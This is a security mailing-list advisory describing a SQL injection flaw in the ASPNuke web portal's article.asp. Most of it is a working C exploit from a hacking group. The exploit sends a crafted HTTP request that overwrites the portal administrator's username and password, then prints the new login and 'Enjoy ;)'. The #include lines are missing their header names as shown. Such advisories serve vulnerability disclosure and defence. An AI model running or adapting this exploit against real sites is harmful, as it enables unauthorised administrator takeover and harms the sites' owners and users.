[EXPL] ASPNuke SQL Injection Vulnerability (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

ASPNuke SQL Injection Vulnerability (Exploit)
------------------------------------------------------------------------

SUMMARY

<http://www.aspnuke.com/> ASPNuke is a free open-source (GPL) modular
Active Server Pages web portal supporting MySQL/SQLServer. ASPNuke is
vulnerable to an SQL injection vulnerability that allows an attacker to
change the portal's administrator user name and password.

DETAILS

The flaw is found at the articleid parameter in the article.asp. By
injecting SQL commands, the attacker can change ASP-Nuke administrator's
password and username.

Exploit:
/*
*******************************************
* T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
*******************************************
EXPLOIT FOR : ASPNuke SQL Injection Vulnerability

Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
E-Mail: Alpha_Programmer at Yahoo

This Xpl Change ASP-Nuke Admin's Password and Username , You can Change
This Code For Yourself

Discovered By : Trap-Set Underground Hacking Team (OIL_KarchacK)

*******************************************
* GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- Dr-CephaleX -- Str0ke *
*And Iranian Security & Technical Sites: *
* *
* Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
*******************************************
*/
#include
#include
#include
#pragma comment(lib, "ws2_32.lib")
#include

#define MY_PORT 80
#define BUF_LEN 256

int main(int arg_c, char *arg_v[])
{
static const char cmd[] =
"GET /module/article/article/article.asp?articleid=1%20;"
"%20update%20tbluser%20SET%20password="
"'bf16c7ec063e8f1b62bf4ca831485ba0da56328f818"
"763ed34c72ca96533802c'%20,%20username="
"'trapset'%20where%20userID=1%20-- HTTP/1.0\n"
"Host: Host.com\n\n\n\n";

struct sockaddr_in their_adr;
char buf[BUF_LEN];
struct hostent *he;
int sock, i;
WSADATA wsdata;

/* Winsock start up */
WSAStartup(0x0101, &wsdata);
atexit((void (*)(void))WSACleanup);

if(arg_c != 2)
{
printf("Usage : ASPNuke.exe [Targ3t]\n");
return 1;
}
/* create socket */
printf("calling socket()...\n");
sock = socket(AF_INET, SOCK_STREAM, 0);

he = gethostbyname(arg_v[1]);
if(he == NULL)
{
printf("Can't Get IP address of Host '%s'\n", arg_v[1]);
return 1;
}
memset(&their_adr, 0, sizeof(their_adr));
their_adr.sin_family = AF_INET;
memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);
their_adr.sin_port = htons(MY_PORT);
/* connect */
printf("[+] C0nnectinG...\n");
i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));
if(i != 0)
{
printf("Connect() returned %d, errno=%d\n", i, errno);
return 1;
}
/* send HTTP command */
printf("[+] Injecting SQL...\n");
i = send(sock, cmd, sizeof(cmd), 0);
if(i != sizeof(cmd))
{
printf("Send() returned %d, errno=%d\n", i, errno);
return 1;
}

/* close socket */
printf("[+] Changed ...\n");
closesocket(sock);
printf ("Now , Login With :\n");
printf ("Username: trapset\n");
printf ("Password: trapset\n");
printf ("Enjoy ;)\n");
return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:Alpha_Programmer@Yahoo.com>
Alpha Programmer.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.